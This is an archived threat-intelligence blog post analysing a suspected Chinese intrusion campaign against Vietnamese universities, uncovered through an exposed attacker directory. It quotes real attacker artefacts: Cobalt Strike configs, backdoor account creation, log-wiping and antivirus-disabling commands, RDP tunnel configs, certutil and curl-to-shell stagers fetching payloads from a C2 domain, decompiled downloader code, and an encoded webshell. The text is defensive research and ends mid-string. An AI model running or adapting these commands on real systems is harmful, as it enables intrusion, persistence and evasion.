{ "id": "4ff453cf-8958-45a4-9dd3-e226841b6984", "created_at": "2026-10-09T02:02:57.902233Z", "updated_at": "2026-10-20T09:07:27.711025Z", "deleted_at": null, "sha1_hash": "6e5b2513db746a0555102a8cd15561632167502d", "title": "From Campus to C2: Tracking a Persistent Chinese Operation Against Vietnamese Universities", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 3491743, "plain_text": "https://ctrlaltintel.com/research/china-vietnam-campaign/\n\nFrom Campus to C2: Tracking a Persistent Chinese Operation\n\nAgainst Vietnamese Universities\n\nBy Ctrl-Alt-Intel\n\nPublished: 2025-08-20 · Archived: 2026-10-09 02:01:44 UTC\n\nThis personal research is based solely on open-source intelligence (OSINT) and technical analysis of\n\navailable data. The attribution of activity to suspected Chinese threat actors is made on the basis of\n\nobserved infrastructure, malware, and tactics, techniques, and procedures (TTPs) and strong links to\n\nknown adversaries. It does not reflect any political stance, the views of my employer, and no\n\nconclusions should be drawn beyond the scope of this technical research. The goal of this publication is\n\nto share threat intelligence and raise awareness of cyber activity impacting Vietnam, not to promote or\n\nendorse any political narrative.\n\nOpen Directories\n\nDuring malware execution chains or hands-on-keyboard intrusions, adversaries will often download additional\n\nmalware or tooling on the fly, frequently using the HTTP protocol. Adversaries may achieve this by setting a\n\nsimple Python HTTP server, python -m http.server 80 , and then accessing the files via a regular HTTP\n\nrequest.\n\nOccasionally, when threat actors are hosting payloads over HTTP, they accidentally expose the whole entire\n\ndirectory and subdirectory of files, rather than the singular payload they intended to share. This can introduce a\n\nmassive operational security failure for adversaries, as additional tooling, victim data, adversary credentials, and\n\nmore, can be exposed.\n\nCase Study\n\nIn some cases, like the one we will discuss, the OPSEC failure can be so significant that an entire potential\n\nespionage operation can be exposed, within a day.\n\nThe research, identified by us, identified a Chinese threat actor that had successfully compromised a minimum of\n\n25 unique Vietnamese universities or educational facilities, many of which specialise in tech and engineering!\n\nThis was identified via a singular open-directory that exposed massive amounts of sensitive threat actor data. This\n\ndata did not suggest the threat actor was financially motivated, but rather they intended to persist in victim\n\nenvironments for long periods of time, gathering information. We identified the threat actor has at least 50 victim\n\nmachines, many of which could be attributed to the same organisation that the threat actor had pivoted around\n\nwithin.\n\nEvidence suggests the threat actor gained access to these organisations via exploitation of public facing\n\nvulnerabilities using Metasploit, uploading Godzilla webshells, or via SQL injection. Upon gaining a foothold, the\n\nadversary has been observed deploying Cobalt Strike beacons. Once the beacon is established, the actor has\n\nPage 1 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nexploited local Windows vulnerabilities for privilege escalation and installed tunneling software for persistent\n\nremote access.\n\nBased on our observations and victimology, these tactics, techniques, and procedures (TTPs) show significant\n\noverlap with previously reported activity attributed to threat actor Earth Lamia, named by Trend Micro.\n\n.bash_history#\n\nWhen hunting for interesting open-directories, I always keep an eye out for the Linux .bash_history file. This\n\ncan expose the commands run by an adversary on a Linux machine. It will reside in the user’s home folder (e.g.\n\n/home/ben/.bash_history ).\n\nWhen we opened the .bash_history file on this host, we knew we were in for fun:\n\nThreat actor downloading Chinese language pack\n\napt-get install language-pack-zh-hans\n\nThreat actor generating certificates:\n\nopenssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:UPN\n\nkeytool -importkeystore -deststorepass UPNV7J6rqSbc3Ay -destkeypass UPNV7J6rqSbc3Ay -destkeystore cfcert.store -\n\nThreat actor starting Cobalt Strike Teamserver\n\nPage 2 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\n./teamserver 103.215.77.214 1234567890 jquery-c2.4.5.profile \n./teamserver 103.215.77.214 UPNV7J6rqSbc3Ay CDN.profile\n\nThreat actor configuring Fast Reverse Proxy (frp) server\n\n./frps -c frps.toml\n\nWe can see the frps.toml file has the below config:\n\nbindPort = 4444\n\nThreat actor downloading Metasploit\n\ncurl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-w\n\nAnalysis of the .bash_history file reveals the threat actor installing relevant Chinese language packs, setting up\n\nand configuring a Cobalt Strike beacon server, installing tunneling software, and downloading Metasploit. From\n\nthis alone, we cannot say, for definite, whether this is malicious adversarial commands or a potential red team that\n\nhas a huge OPSEC failure.\n\nHowever, we have identified evidence of a modified Cobalt Strike server on this box. Thankfully, exploring the\n\nopen-directory, we can recover all relevant Cobalt Strike server data that reveals true intent.\n\nCobalt Strike\n\nCobalt Strike is a commercial red-team tool originally built for penetration testers. It provides features like beacon\n\nimplants, post-exploitation modules, and C2 (command-and-control) management. While designed for defenders\n\nto simulate adversaries, cracked versions of Cobalt Strike have been heavily abused by cybercriminals and state-\n\nsponsored threat actors worldwide. It’s often used after initial access to move laterally, escalate privileges, and\n\nstage payloads.\n\nWe observed the threat actor leveraging an open-source modified and cracked Cobalt Strike client and server, “Cat\n\nCobalt Strike (Kunkun Version)”:\n\nPage 3 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nThis modified client and server is advertised to have the following capabilities:\n\nCustomised to bypass 360 Total Security\n\nGoogle Two-Factor Authentication (2FA) for C2 Access - not enabled by the TA\n\nFixes known vulnerability CVE-2022-39197\n\nPage 4 of 41\n\nto identify:\n\norganisations.\n\nConfiguration files and plain-text credentials\n\nPrivate certificates\n\nfrom victim workstations\n\nInterestingly, memory dumps from victim machines\n\nwe can view the below files that were left on the open-directory:\n\n/CS/server/beacon.db\n/CS/server/data/archives.bin\n/CS/server/data/c2info.bin\n/CS/server/data/listeners.bin\n/CS/server/data/sessions.bin\n/CS/server/data/targets.bin\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nFrom a detailed analysis of all the logs, databases, downloads, and other files within this directory, we were able\n\nFull lists of victims workstations, their public IP addresses and in some cases credentials\n\nWe noticed many of these hostnames followed a regular naming scheme (e.g. JOSH-DC, JOSH-\n\nFILE, JOSH-SVR, …) indicating the threat actor had compromised multiple hosts within some\n\nThe IP addresses the Chinese individuals used to connect to the Cobalt Strike beacon server\n\nCommands and malware that were sent to victim machines for execution\n\nSensitive data, including full back-end source code of a Vietnamese university portal, that was downloaded\n\nIn order to retrieve the full Cobalt Strike beacon victim list, credentials, and commands ran on victim machines,\n\nFrom the beacon.db file, we were able to identify 63 unique workstations that have been infected with a Cobalt\n\nStrike beacon. The first registered beacon was the host WIN-K65K8DF8FOD , which was beaconing from the\n\nPage 5 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nChinese IP address ‘27.150.114[.]115’. This was a test host created by the threat actor, exposing the adversaries\n\npublic IP address.\n\nThe 62 registered beacons that followed this were all beaconing from various Cloudflare AS 13335 IP addresses.\n\nWhy is this happening? We can look at the file /CS/server/CatServer.Properties :\n\n# ??????,????????.(?????????cs??,???????,?????TeamSever)\n\nCatServer.Version = 2.16667\n\n# TeamSever端口\n\nCatServer.port = 23456\n\n# 证书路径\n\nCatServer.store = cfcert.store\n\n# 证书密码\n\nCatServer.store-password = UPNV7J6rqSbc3Ay\n\n# 保持127就行\n\nCatServer.host = 127.0.0.1\n\n# teamserver密码\n\nCatServer.password = dsad2dffas1\n\nCatServer.profile-name = cobaltstrike\n\n# ???profile文件路径\n\nCatServer.profile = CDN.profile\n\nCatServer.auth = false\n\nCatServer.authlog = false\n\n#谷歌验证码配置 在微信小程序可直接获取\n\nCatServer.googleauth = false\n\nCatServer.googlekey = YOTPPRZ4RQ75QNKKE65GXE6BQBSQDVQJ\n\nCatServer.safecode = 123456\n\n(Translated: Google verification code config — can be obtained directly via the WeChat mini-program)\n\n# AES iv\n\nCatServer.Iv = abcdefghijklmnop\n\n# stager配置 建议小改\n\nstager.checksum-num = 400\n\nstager.x86-num = 100\n\nstager.x86-uri-len = 6\n\nstager.x64-num = 105\n\nstager.x64-uri-len = 8\n\nThe file CatServer.Properties is a configuration file for Cat Cobalt Strike Kun Kun that provides operational\n\ninsight into how the teamserver was configured. Specifically, we can see the password for the teamserver being\n\ndsad2dffas1 and the port it listening on being 23456 .\n\nPage 6 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nAdditionally, we can see the file /CS/server/cfcert.store :\n\nWe can analyse the certificate and see it has been named cloudflare_cert . Additionally, we exposed how this\n\ncertificate was generated from the .bash_history file:\n\nopenssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:UPN\n\nkeytool -importkeystore -deststorepass UPNV7J6rqSbc3Ay -destkeypass UPNV7J6rqSbc3Ay -destkeystore cfcert.store -\n\nAdditionally, we can view the file CDN.profile, to receive further context into the CDN configuration:\n\nhttps-certificate {\n\nset keystore \"cfcert.store\";\n\nset password \"UPNV7J6rqSbc3Ay\";\n\n}\n\n[...REDACTED…]\n\nhttp-stager {\n\nset uri_x86 \"/api/1\";\n\nset uri_x64 \"/api/2\";\n\nclient {\n\nheader \"Host\" \"micrcs.microsoft-defend.club\";}\n\nserver {\n\noutput{\n\nprint;\n\n}\n\n[...REDACTED…]\n\nFrom the above, we can see the domain micrcs.microsoft-defend[.]club is used for C2 communications.\n\nOSINT reveals this is hosted on Cloudflare.\n\nWith all the other sensitive threat actor data, a malleable beacon profile was also included /CS/server/jquery-\n\nc2.4.5.profile :\n\nset sample_name \"jQuery CS 4.5 Profile\";\n\nset sleeptime \"45000\"; # 45 Seconds\n\nPage 7 of 41\n\nset jitter \"37\"; # % jitter\n\nset data_jitter \"100\";\n\nhttps-certificate {\n\nset C \"US\";\n\nset CN \"baidu.com\";\n\nset O \"baidu\";\n\nset OU \"baidu\";\n\nset validity \"365\";\n\n}\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nset useragent \"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\";\n\nset tcp_port \"42666\";\n\nset tcp_frame_header \"\\x80\";\n\nset pipename \"mojo.5688.8052.183894939787088877##\"; # Common Chrome named pipe\n\nset pipename_stager \"mojo.5688.8052.35780273329370473##\"; # Common Chrome named pipe\n\nset smb_frame_header \"\\x80\";\n\ndns-beacon {\n\n# Options moved into \"dns-beacon\" group in version 4.3\n\nset dns_idle \"74.125.196[.]113\"; #google.com (change this to match your campaign)\n\nset dns_max_txt \"252\";\n\nset dns_sleep \"0\"; # Force a sleep prior to each individual DNS request. (in milliseconds)\n\nset dns_ttl \"5\";\n\nset maxdns \"255\";\n\nset dns_stager_prepend \".resources.123456.\";\n\nset dns_stager_subhost \".feeds.123456.\";\n\n# DNS subhosts override options, added in version 4.3\n\nset beacon \"a.bc.\";\n\nset get_A \"b.1a.\";\n\nset get_AAAA \"c.4a.\";\n\nset get_TXT \"d.tx.\";\n\nset put_metadata \"e.md.\";\n\nset put_output \"f.po.\";\n\nset ns_response \"zero\";\n\nPage 8 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\n}\n[...REDACTED...]\n\nEmulating the Adversaries Cobalt Strike Server#\n\nWe were able to collect these screenshots by using data in the directory to recreate the threat actors’\n\nenvironment in a controlled local environment\n\nAs we’ve recovered all relevant databases and binaries surrounding the Cobalt Strike server, we can run the binary\n\nusing the threat actors configuration and authenticate locally. We will not be receiving call-backs from victims,\n\nbut, we can interact with the GUI and reporting features built in.\n\nFrom the above, we can see the Cobalt Strike server has got 2 configured listeners, on ports 2087 and 2099\n\nrespectively. We can see these were active on Censys:\n\nPage 9 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nThankfully, as a result of simulating the adversaries Cobalt Strike server in a sandbox, we can also leverage the in-\n\nbuilt “Reporting” features to retrieve a forensic-timeline of adverserial activity on each host. This “Reporting”\n\nfeatures also mapped the commands and actions performed by the adversary to the MITRE Framework - with a\n\nfantastic analysis of the intrusion by the adversaries own C2 server ;)\n\nPage 10 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nPage 11 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nFrom the above, we can see details pertaining to the configuration of the beacon and example HTTP traffic.\n\nPage 12 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nAdditionally, we can see evidence of execution of a Local Privilege Escalation exploit - AppxPotato - on multiple\n\nhosts.\n\nPage 13 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nThe reporting features exposed all payloads injected using process hollowing.\n\nCobalt Strike Post-Exploitation\n\nPage 14 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nThis threat actor appeared to use Cobalt Strike for persistence, privilege escalation, defence evasion, lateral\n\nmovement and information harvesting. From Cobalt Strike logs, we were able to ascertain commands run and\n\ntooling executed by the threat actor:\n\nMisc#\n\nC:\\ProgramData\\mdm.txt\nC:\\ProgramData\\1.txt\nC:\\ProgramData\\GetCLSID.ps1\n\nLikely staging files. GetCLSID.ps1 could be a script for enumerating COM CLSIDs or checking for hijack\n\nopportunities.\n\nDiscovery#\n\nnet user - lists all user accounts\n\nsysteminfo - Displays OS version, build, hotfixes, domain info, uptime\n\nipconfig /all - Displays network config, IPs, etc\n\nnetstat -ano | findstr :3389 - Looking for port 3389 (RDP)\n\nsc query TermService - Checks status of Remote Desktop Services.\n\n%windir%/system32/inetsrv/appcmd list sites - Lists all IIS websites configured on the host.\n\nfor /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr \"TTL=\"q - Ping sweep across\n\n192.168.1.1 → 192.168.1.254 for live hosts.\n\nschtasks /query /tn \"MaintainRDP\"\n\nQueries the scheduled task MaintainRDP (a persistence mechanism).\n\nreg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections\n\nChecks if RDP connections are allowed (0 = allowed, 1 = denied).\n\nreg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber\n\nReads the configured RDP port (default 3389).\n\nnetsh advfirewall firewall show rule name=all | findstr \"443\"\n\nLooks for firewall rules mentioning port 443 (commonly abused to hide RDP or tunnels).\n\nfscan.exe -h 192.168.1.1/24 -np -no -nopoc \nfscan.exe -h 192.168.1.1/24 - rf id_rsa.pub\n\nPage 15 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nfscan.exe -h 192.168.1.1/24 - rs 192.168.1.1:6666\n\nfscan.exe -h 192.168.1.1/24 -c whoami fscan.exe - h 192.168.1.1/24 -m ssh -p 2222\n\nfscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt\n\nfscan.exe -h 192.168.1.1/24 -o /tmp/1.txt\n\nfscan.exe -h 192.168.1.1/8\n\nfscan.exe -h 192.168.1.1/24 -m smb -pwd password\n\nfscan.exe -h 192.168.1.1/24 -m ms17010 fscan.exe -hf ip.txt (# ####)\n\nfscan.exe -u http://baidu.com -proxy 8080\n\nfscan.exe -h 192.168.1.1/24 -nobr -nopoc\n\nfscan.exe -h 192.168.1.1/24 -pa 3389\n\nUsing niche Chinese network enumeration tooling fscan\n\nExecution#\n\nC:\\Users\\Administrator\\Desktop\\shell\\svhost.exe\n\nC:\\Users\\\u003cUSERNAME\u003e\\Desktop\\taskhost.exe\n\nC:\\winodws\\taskhost.exe\n\nMasquerading as common Windows binaries\n\nC:\\Windows\\System32\\spool\\drivers \\color\\e8i580ehei5a3.dll - Likely malicious DLL\n\nPersistence#\n\nnet user IIS_USER Pass@123 /add\n\nnet user IIS_USER !@#qwe123admin /add\n\nnet user IIS_USER Aa123456@@@ /add\n\nnet user \u003cUSERNAME\u003e Aa123456@@@q\n\nnet user nguyentuanh Tongtong@1890 /add /domain\n\nnet group \"Domain Admins\" nguyentuanh /add /domain\n\nnet localgroup administrators IIS_USER /add\n\nCreates multiple local/domain users with weak or common passwords.\n\nAdds nguyentuanh to Domain Admins.\n\nAdds IIS_USER to the local Administrators group.\n\nEnsures attackers can get back in even if initial access is cleaned up.\n\nScheduled task “MaintainRDP” that attempts to run the below command:\n\nC:\\Users\\IIS_USER\\Documents\\frpc.exe -c C:\\Users\\IIS_USER\\Documents\\frpc.toml\n\nThis allows the adversary to tunnel RDP to their server. See “Command and Control” for more information.\n\nDefence Evasion#\n\nPage 16 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nauditpol /set /category:\"Logon/Logoff\" /success:disable /failure:disable\n\nauditpol /set /category:\"Account Logon\" /success:disable /failure:disable\n\nDisables auditing of logon events and credential use (removes visibility for defenders).\n\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber\n\nChanges RDP to run on port 443 (blends with HTTPS traffic).\n\nsc.exe sdset WindowsDefend \"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU\n\nModifies the security descriptor of the Windows Defender service. Can block admins from controlling or\n\nstopping Defender, breaking security operations.\n\nreg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1\n\nEnables WDigest cleartext credential storage in memory (makes credential dumping easier).\n\nnetsh advfirewall firewall add rule name=\"Allow RDP (3389)\" dir=in action=allow protocol=TCP localport=3389 rem\n\nAdds a firewall rule to allow inbound RDP from any IP.\n\npowershell -c \"Add-MpPreference -ExclusionPath 'G:\\\u003cFILE_PATH\u003e'\n\nAdds a Defender AV exclusion for the attacker’s file path (malware won’t be scanned there).\n\nnet stop \"BkavService\"\nnet stop \"BkavSystemService\n\nStops services of Bkav, a Vietnamese antivirus product.\n\nGet-WinEvent -ListLog * | ForEach-Object { Clear-EventLog -LogName $_.LogName -ErrorAction SilentlyContinue }\nClear-EventLog -LogName System, Security, Application\n\nAttempts to wipe all Windows event logs.\n\nCredential Access#\n\nDecryptTeamViewer.exe\n\nPage 17 of 41\n\nhttps://github.com/V1V1/DecryptTeamViewer\n\nLateral Movement#\n\nPrivilege Escalation#\n\nto create new Administrator accounts\n\nvulnerabilities.\n\nMS13-046, MS16-032, MS15-051\n\nCommand \u0026 Control#\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nRed team tooling “to enumerate and decrypt TeamViewer credentials from Windows registry.” -\n\nSharpExec.exe -m=psexec -i=192.168.1.2 -u=ftp -p=abc@123v -d= -e=C:\\Windows\\System32\\cmd.exe -c=”whoami”\n\nC:\\ProgramData\\FFICreateAdminUser.exe - The threat actor leveraged a open source tool developed by Tas9er\n\nFrom the Cobalt Strike timelines, we were able to ascertain the threat actor attempted to exploit the below\n\nCVE-2024-30088, CVE-2023-28252, CVE-2020-0796, CVE-2023-36802, CVE-2018-8120, CVE-2017-0213, CVE-2022-24521, CV\n\ntype C:\\ProgramData\\frpc.toml\n\nfrpc.exe -c frpc.toml\n\nserverAddr = \"103.215.77[.]214\"\n\nserverPort = 4444\n\n[[proxies]]\n\nhttps://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_windows_amd64.zip\n\n( echo @echo off echo set COMPAT_LAYER=Win7RTM echo set __COMPAT_LAYER=Win7RTM echo frpc.exe -c frpc.toml ) \u003e ru\n\nThreat actor leveraging FRP (Fast Reverse Proxy) client with a config C:\\ProgramData\\frpc.toml :\n\nname = \"rdp7\"\n\ntype = \"tcp\"\n\nlocalPort = 3389\n\nremotePort = 6008\n\n6008\n\nThe above FRP client will connect to the proxy on 103.215.77[.]214:4444 and tunnel its RDP service to port\n\nPage 18 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nViewing the threat actors IP address on Censys or Shodan, we can see the hostnames of victim machines\n\nexposed on ports like 6008 or 6002, which is a result of the FRP setup.\n\nxlfrc64.exe -k 123 -i 148.66.16[.]226 -p 47009 -s admin123q\nxlfrc64.txt -k 123 -i 148.66.16[.]226 -p 47012 -s admin123q\n\nAlternative tunneling client (similar to frpc ) connecting to 148.66.16[.]226 on ports 47009/47012.\n\nWe can find a reference to this tool being used for domain-fronting on this Chinese Security forum.\n\npowershell -c \"$l='0.0.0.0';$p=3389;$r='103.215.77[.]214:6665';$s=New-Object Net.Sockets.TcpListener($l,$p);$s\n\nA custom PowerShell TCP forwarder:\n\nListens on 0.0.0.0:3389 locally\n\nForwards traffic to 103.215.77[.]214:6665 (proxying RDP).\n\nE:\\shell\\Neo-reGeorg-master\\Neo-reGeorg-master\\neoreg_servers\\tunnel.ashx - Open-source Chinese web-\n\nshell \u0026 tunnel\n\nVShell\n\nDuring our investigation, we identified the threat actor leveraging multiple methods for persistent access to target\n\nenvironments. This often included 2 active C2 frameworks (VShell \u0026 CS) on a host, a persistent RDP tunnel, and\n\na webshell.\n\nPage 19 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nAside from using Cobalt Strike for C2, the adversary has heavily leveraged VShell for persistent remote access\n\nto compromised Vietnamese university web portals.\n\nFrom the file /vshell/v_windows_amd64/db/data.db we were able to uncover the full list of the VShell victims.\n\nUnlike the CobaltStrike C2, the VShell beacons were reaching straight out to the C2 server, and we were able to\n\nrecover real victim IP addresses. Additionally, we can see the threat actor had “named” the various victims by\n\ntheir domain name. This made attributing victims incredibly easily.\n\nEmulating the Adversaries VShell Server#\n\nThankfully for us, using the same emulation method used for Cobalt Strike, we were able to access the VShell\n\ndashboard for further intelligence:\n\nAs you can see, by default, the dashboard is in Chinese. All future screenshots have been translated.\n\nPage 20 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nOn the translated “Monitoring Management” tab we can view all configured listening ports. Currently, on the\n\ndomain microsoft-symantec[.]art, on TCP/8848 there is a VShell listener. Clicking the “Online command view”\n\nbutton we can view the default VShell execution command:\n\nVShell - Windows one-liner#\n\nStage 1#\n\ncertutil.exe -urlcache -split -f hxxp://microsoft-symantec[.]art:8848/swt C:\\Users\\Public\\run.bat \u0026\u0026 C:\\Users\\P\n\nPage 21 of 41\n\nC:\\Users\\Public.bat\n\nStage 2#\n\nWe can download the batch script ourselves for further analysis:\n\n@echo off\n\nsetlocal enabledelayedexpansion\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nThis uses the LOLBin, certutil.exe , in order to download a secondary payload -\n\nset u64=\"hxxp://microsoft-symantec[.]art:8848/?h=microsoft-symantec.art\u0026p=8848\u0026t=tcp\u0026a=w64\u0026stage=true\"\n\nset u32=\"hXXp://microsoft-symantec[.]art:8848/?h=microsoft-symantec.art\u0026p=8848\u0026t=tcp\u0026a=w32\u0026stage=true\"\n\nset v=\"C:\\Users\\Public\\07f79946tcp.exe\"\n\ndel %v%\n\nfor /f \"tokens=*\" %%A in ('wmic os get osarchitecture ^| findstr 64') do (\n\nset \"ARCH=64\"\n\n)\n\nif \"%ARCH%\"==\"64\" (\n\ncertutil.exe -urlcache -split -f %u64% %v%\n\n) else (\n\ncertutil.exe -urlcache -split -f %u32% %v%\n\n)\n\nstart \"\" %v%\n\nexit /b 0\n\nWe can see this second stage will enumerate the operating systems architecture and write the corresponding binar\n\nStage 3 - Windows SNOWLIGHT downloader#\n\n07f79946tcp.exe , the third stage, reaches out to the C2 server, microsoft-symantec[.]art:8848 , for additional\n\npayloads or stages to establish persistent Command and Control. We were unable to retrieve these.\n\nInterestingly, reading brilliant analyses by Mandiant/Google, Eclecticiq and Sysdig, we can see China-nexus\n\nadversaries have previously used SNOWLIGHT downloader when deploying VShell or GOREVERSE malware.\n\nThis reported that a suspected China-nexus actor UNC5174 had been exploiting CVE-2023-46747 on F5 BIG-IP\n\nto deploy SNOWLIGHT downloader. Other reporting on this malware all detail it to be a Linux based\n\ndownloader, typically delivering the core C2 payload.\n\nUpon analysis of the 3rd stage, 07f79946tcp.exe , we observed it had similar strings and appeared to used a\n\nsimilar C2 protocol to the previously reported Linux-based SNOWLIGHT samples.\n\nPage 22 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nFrom Eclecticiq’s fantastic analysis, we can see upon execution “SNOWLIGHT performs a simple handshake”\n\nthat involves sending a banner, in there case “l64”. Following the banner, it’ll receive a secondary payload that is\n\nXOR encrypted with the key 0x99 . Once decrypted within memory, it is executed using memfd_create and\n\nfexecve .\n\nFrom the x64 Windows SNOWLIGHT sample, it appears to only import sleep from kernel32.dll :\n\nPage 23 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nHowever, it is hidings the true functions it’s importing. This Windows variant appears to use a hash-based\n\nresolver API to import functions by reading the PEB (Process Environment Block) and from there the Ldr\n\nstructure which holds lists of all modules it can dynamically import!\n\nWith the correct functions resolved, it uses WinSock send to the C2 server the banner “w64 “ (two\n\nspaces), two port bytes “0x22 0x90” (8848), and eight 4-byte tags \"micr\" \"osof\" \"t-sy\" \"mant\" \"ec.a\"\n\n\"tr\\x00\\x00\" \"\\x00\\x00\\x00\\x00\" \"\\x00\\x00\\x00\\x00\" .\n\nAfter sending this payload it allocates an area of memory, receive the 4th stage encryped with XOR 0x99 ,\n\ndecrypt, write to memory, and run! This appears to be the same SNOWLIGHT protocol, however the initial\n\nbanner was for “w64” (Windows 64?) rather than “l64”.\n\nFor all variants of the SNOWLIGHT samples recovered, please see here!\n\nKeep an eye out for a follow-up blog where we will discuss this malware further!\n\nVShell - Linux one-liner#\n\nStage 1#\n\n(curl -fsSL -m180 hxxp://microsoft-symantec[.]art:8848/slt||wget -T180 -q http://microsoft-symantec.art:8848/sl\n\nWe can see this uses curl or wget to downloaded the payload hxxp://microsoft-\n\nsymantec[.]art:8848/slt and execute it with sh .\n\nStage 2 - Linux SNOWLIGHT downloader#\n\nAnalysing the 2nd stage, we can see this also shows extremely strong similarities to the SNOWLIGHT samples\n\nnoted by Mandiant/Google and Eclecticiq.\n\nUpon execution of our sample, SNOWLIGHT will check for the existence of the file /tmp/log_de.log . If\n\nthis files exists, it will stop execution. However, we couldn’t find any evidence of SNOWLIGHT actually\n\nwriting this file to disk.\n\nPage 24 of 41\n\n///[...REDACTED...]\n\nif (iVar1 != 0) {\n\npcVar9 = \"microsoft-symantec.art\";\n\n///[...REDACTED...]\n\nsetsockopt(iVar1,6,7,\u0026local_1474,4);\n\nsleep(10);\n\n}\n\nif (-1 \u003c iVar3) {\n\nwhile( true ) {\n\niVar4 = (int)sVar6;\n\npbVar7 = local_1028;\n\nif (iVar4 \u003c 1) break;\n\ndo {\n\npbVar7 = pbVar7 + 1;\n\n} while ((int)pbVar7 - (int)local_1028 \u003c iVar4);\n\n}\n\n///[...REDACTED...]\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nWe can look at the Ghidra psuedo-code and see identical capabilities as described in the previous blogs:\n\niVar1 = access(\"/tmp/log_de.log\",0); // Check for \"kill switch\"? or prior infection?\n\nwhile (iVar3 = connect(iVar1,\u0026local_145c,0x10), iVar3 == -1) { // connecting to C2\n\nsend(iVar1,\"l64 \",6,0); // sending the l64 banner\n\nsVar6 = recv(iVar1,local_1028,0x1000,0); // recieving encryped 3rd stage\n\n*pbVar7 = *pbVar7 ^ 0x99; // Decrypting with XOR 0x99\n\nwrite(iVar3,local_1028,(long)iVar4); // Writing decrypted output to memory\n\nPage 25 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nVShell - Plugins#\n\nVShell supports the use of plugins, which can be executed on any of the selected clients. We can see what options\n\nthat can be used on one of the clients(with the help of the browser translating the page) and any specified\n\narguments we would like to add for said plugin:\n\nThese plugins are located at /vshell/v_linux_amd64/plugins with the following hashes:\n\nbf7120a63483a2e4300a4d1405ac7525f11dd1f6d6a7120767bc42566da35891 AddUser.dll\nf34bd1d485de437fe18360d1e850c3fd64415e49d691e610711d8d232071a0b1 fscan.x64.elf\n44cc5d20ba8b692fd10d358aab5694c21caf1c63e7a1ecb0f989010b7dfa830a gost.x64.exe\n51c9d895c013a402d42841f52bae0bc5525b085d11ad2934f64068563a719132 gost.x64.so\n61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1 mimikatz.x64.exe\n\nAt the time of this writing, all plugins are accessible within VirusTotal.\n\nVShell - Payloads#\n\nWe can see VShell has the capabilties to generate payloads in the format stage , shellcode , stageless , dll\n\nstageless , listen , dll listen , ebpf listen :\n\nPage 26 of 41\n\nNotifications#\n\nWebshells / Backdoors\n\ntest.resources#\n\nStage 1#\n\nweb-server.\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nAnother interesting piece of information with VShell is the ability to integrate with third-party services like\n\nWeChat . This is likely for SMS/Push notifications when clients check-in, task completion, etc.\n\nWe managed to recover evidence that the threat actor delivered a payload, test.resources , to a compromised\n\nPage 27 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nViewing the above serialized object file, test.resources , we can see it contains additional code, that would be\n\nexecuted within memory on deserialization, that is currently Base64 encoded and Gzip compressed.\n\nWe can use this CyberChef receipe to base64 decode and gunzip, giving us a MZ header, indicating we have an\n\nexecutable.\n\nStage 2 (Web-shell)#\n\nWe can do some initial triage and see this is a .NET binary!\n\nPage 28 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nThis means we can open it up in dnSpy and recover the full plain-text source code!\n\nWithout going through all the source code, let’s break this down:\n\nPage 29 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\n//[...REDACTED...]\nstring text = \"PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiJT48JVJlc3BvbnNlLldyaXRlKGV2YWwoUmVxdWVzdC5JdGVtWyJ6MTExIl0sI\nstring @string = 